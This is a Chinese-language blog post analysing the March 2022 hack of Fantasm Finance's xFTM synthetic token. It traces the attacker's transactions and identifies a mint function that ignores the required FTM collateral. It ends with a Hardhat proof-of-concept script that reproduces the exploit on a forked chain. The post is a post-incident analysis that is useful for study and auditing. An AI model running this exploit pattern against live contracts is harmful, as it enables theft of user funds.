# Fantasm Finance被黑分析

By [lilizhu](https://paragraph.com/@lilizhu) · 2022-04-21

---

Fantasm Finance被黑分析
===================

> 2022年3月9日，根据项目方紧急公告，xFTM存在严重漏洞目前已被利用。公告里公布了黑客的地址，黑客利用完漏洞后将获利全部换成了ETH，并跨链至以太坊主网，经笔者统计，黑客获利1007 ETH，折合当时ETH美元价格约为273万美元。

### 调研

分析攻击和漏洞之前肯定得看看项目是干嘛的，不能一上来就把攻击者的操作步骤就翻译一遍，流水账没意义，所以先来看看项目介绍

Untitled

[https://docs.fantasticprotocol.io/synthetic-tokens](https://docs.fantasticprotocol.io/synthetic-tokens)

根据介绍可得知，Fantasm Finance是做合成代币的，xFTM就是这个项目的合成代币，由FTM和FSM这两个币支持，xFTM价格与FTM挂钩。那么如何保证挂钩呢，接着看文档

Untitled

> **Collateral Ratio**
> 
> Fantastic Protocol is using a Collateral Ratio (CR) for Minting and Redeeming process. There will be a minimum Collateral Ratio which is set by governance.
> 
> Fantastic Protocol 使用抵押比率 (CR) 进行铸造和兑换过程。 将有一个由治理设定的最低抵押比率。
> 
> The CR is used by the minting and redeeming function and it is displayed as a percentage. This ratio expresses what percentage of FXM token is required to mint or redeem a FTM token.
> 
> CR will be adjusted every hour at the step of 0.2% (up or down)
> 
> For example: ▶️ 60min-TWAP over 1.005 FTM -> CR down ▶️ 60min-TWAP under 0.995 FTM -> CR up
> 
> At the beginning, the minimum CR is set at 90%

[https://docs.fantasticprotocol.io/mechanisms/collateral-ratio](https://docs.fantasticprotocol.io/mechanisms/collateral-ratio)

抵押比率CR每小时会以0.2%的程度进行调整。

如果60分钟的**时间加权平均价格(TWAP)超过1.005倍的FTM,CR上调**

如果60分钟的**时间加权平均价格(TWAP)低过0.995倍的FTM,CR下调**

根据这部分可得知，铸造xFTM的所需要的FTM占比最低为90%，比例随着DEX的预言机报价（xFTM:FTM）浮动，xFTM价格低于1FTM时，占比增加，高于时反之。再继续看

Untitled

为了铸造1个xFTM,系统要求CR个FTM和(1-CR)个FSM,所以铸造公式为：

$1 FTM = CR\*FTM + (1-CR)\*FCM$

根据上图得知，FTM占比剩余部分由FSM这个币来支撑，例如FTM占比90%，那么FSM就得占比10%

> [https://docs.fantasticprotocol.io/mechanisms/minting-and-redeeming](https://docs.fantasticprotocol.io/mechanisms/minting-and-redeeming) 现在的已经变了
> 
> Minting
> 
> In order to mint 1 FTMX, the system requires 1 FTM and (1 - CR) will be converted to FXM/FTM LP.
> 
> 为了铸造1个FTMX，系统要求1个FTM，并且(1-CR)会被转化成FXM/FTM LP.
> 
> For example - CR = 90% and you want to mint 100 FTMX
> 
> 90 FTM will be deposited into FTM pool reserve and 10 FTM will be converted to FXM/FTM LP ([Protocol Owned Liquidity](https://www.notion.so/mechanisms/protocol-owned-liquidity)\=POL)

### 分析

根据攻击者的地址：

[https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d](https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d)

先记住: 0x47这个是个坏蛋。

找到最初的几笔交易：

Untitled

1.  先创建攻击合约
    
2.  调用攻击合约的getWFTM函数
    
3.  调用0x671daed9函数
    
4.  调用Collect函数
    
5.  创建攻击合约。
    
    下图中标绿色的这一行，创建了一个合约，合约地址为：0x944b58c9b3b49487005cead0ac5d71c857749e3e
    
    请先记住，0x47的坏蛋创建了一个0x94的合约。
    
6.  调用攻击合约的getWFTM函数
    

先来看看第2步调getWFTM函数

Untitled

只是将FTM换为WFTM，没啥特别的

第3步的调用先不看，后面再讲，先直接看第4步的调用

Untitled

这笔交易的hash是0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9，

将hash放在tenderly中看下具体的调用。

这一步，攻击者直接莫名其妙铸造了2618个xFTM

Untitled

而仅仅只是调用了一下Pool合约（[https://ftmscan.com/address/0x880672ab1d46d987e5d663fc7476cd8df3c9f937#code](https://ftmscan.com/address/0x880672ab1d46d987e5d663fc7476cd8df3c9f937#code)）的collect函数

Untitled

根据函数代码，能mint多少xFTM取决于userInfo\[\_sender\].xftmBalance，那么这个变量是怎么变为2618\*1e18的呢？

不难想到，是在第3步里完成的，看一下第3步的交易：

[https://ftmscan.com/tx/0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac](https://ftmscan.com/tx/0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac)

Untitled

第三步的交易hash为：0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac 可以在tenderly中分析。

这样看看不出来啥，直接丢到tenderly里分析一下：

Untitled

前面的不重要，只是将WFTM换为FSM，重点看红框中，调用了Pool合约的mint函数，看了一下，这个合约就是项目的抵押品池子，mint函数的作用就是质押抵押品，铸造xFTM，跟进去看看

Untitled

这一行是计算要铸造多少xFTM，但是看着很奇怪，传进去两个参数\_ftmIn和\_fantasmIn，\_ftmIn是0，\_fantasmIn是5.7（之前攻击者用50个WFTM换的），最后得到的结果\_xftmOut为2618，正好和前面的第4步对上了。

看下calcMint的参数：

    /// @param _ftmIn Amount of FTM input.
    /// @param _fantasmIn Amount of FSM input.
    /// @return _xftmOut : the amount of XFTM output.
    /// @return _minFtmIn : the required amount of FSM input.
    /// @return _minFantasmIn : the required amount of FSM input.
    /// @return _fee : the fee amount in FTM.
    function calcMint(uint256 _ftmIn, uint256 _fantasmIn)
            public
            view
            returns (
                uint256 _xftmOut,
                uint256 _minFtmIn,
                uint256 _minFantasmIn,
                uint256 _fee
            )
    输入值分别为：FTM的数量，FSM的数量，
    输出值为：可以铸造的 XFTM的数量，所需要的FTM的数量,所需要的FSM的数量，手续费
    

按官方文档来说，每个xFTM必须由90%以上的FTM支持，这里怎么还能传入0呢，很奇怪，跟进去看看

Untitled

首先是获取报价，这个报价我看了当时的FSM/FTM的行情，报价是没问题的，由于\_ftmIn为0，大概率不满足if条件，进入else流程，但是，为什么\_xftmOut会是2618呢，我百思不得其解，只能带入真实数值看看

从0x64的交易log中看

Untitled

Untitled

在当前 4月20日时的市价下，可以铸造99.7个xFTM,不需要补FSM。

Untitled

如果只投入100个FTM，根据最新的占比，能铸造100.2个xFTM，其中给出了最少需要的FSM数量（**\_minFantasmIn**）0.13，所以还需要补0.13个FSM才能mint。

如果只投入100个FSM呢

Untitled

根据最新的占比，能铸造71664个xFTM，其中给出了最少需要的FTM数量71520…….恍然大悟，原来只投入FSM的话，还是按照FSM的占比来计算的xFTM铸币量，超出FSM占比的部分是需要用FTM来补的，赶紧回头看一下mint函数

Untitled

果然..根据红框内的代码可以看到，竟然把如此重要的\_minFtmIn参数给忽略了，**甚至都没声明变量**，只考虑了需要补FSM的情况（参考第二个红框）………也就是说，当只投入FSM的时候，是不需要补FTM的抵押品的，如果FSM的占比为10%，那么就能用价值1u的FSM铸造价值10u的xFTM。

### 复现

我这里用hardhat+typescript进行攻击复现，fork区块32971742。

然后编写攻击脚本(attack.ts)：

    async function main() {
      await hre.network.provider.request({
        method: "hardhat_impersonateAccount",
        params: ["0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400"],
      });
      const signer = await hre.ethers.getSigner("0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400");
      const [attacker] = await hre.ethers.getSigners()
      const fsm = IERC20__factory.connect("0xaa621d2002b5a6275ef62d7a065a865167914801",attacker);
      const xFTM = IERC20__factory.connect("0xfbd2945d3601f21540ddd85c29c5c3caf108b96f",attacker);
      const pool = Pool__factory.connect("0x880672ab1d46d987e5d663fc7476cd8df3c9f937",attacker);
    
      console.log("Transfer 100 FSM to attacker.")
      await (await fsm.connect(signer).transfer(attacker.address, parseUnits("100", 18))).wait()
      console.log("xFTM balance of attacker : ",formatUnits(await xFTM.balanceOf(attacker.address),18));
      console.log("Exploiting...")
      await (await fsm.approve(pool.address, constants.MaxUint256)).wait()
      await (await pool.mint(parseUnits("100", 18), 1)).wait()
      await (await pool.collect()).wait()
      console.log("Exploit complete.")
      console.log("xFTM balance of attacker : ",formatUnits(await xFTM.balanceOf(attacker.address),18));
    }
    

脚本很简单，先冒充个账户转点FSM给攻击账户，然后

*   第一步，直接使用FSM进行mint，不附带msg.value，这样\_ftmIn就为0，才会进入else流程
    
*   第二步，调用collect把刚刚mint的xFTM领取出来
    

运行一下看

复现完成，铸造了27808个xFTM，而成本仅仅是100个FSM。

完整的PoC代码已经开源到下方链接，仅供参考：

Untitled

[https://mp.weixin.qq.com/s/o41Da2PJtu7LEcam9eyCeQ](https://mp.weixin.qq.com/s/o41Da2PJtu7LEcam9eyCeQ)

参考
==

[https://dashboard.tenderly.co/tx/fantom/0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac/debugger?trace=0.5.0](https://dashboard.tenderly.co/tx/fantom/0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac/debugger?trace=0.5.0)

---

*Originally published on [lilizhu](https://paragraph.com/@lilizhu/fantasm-finance)*
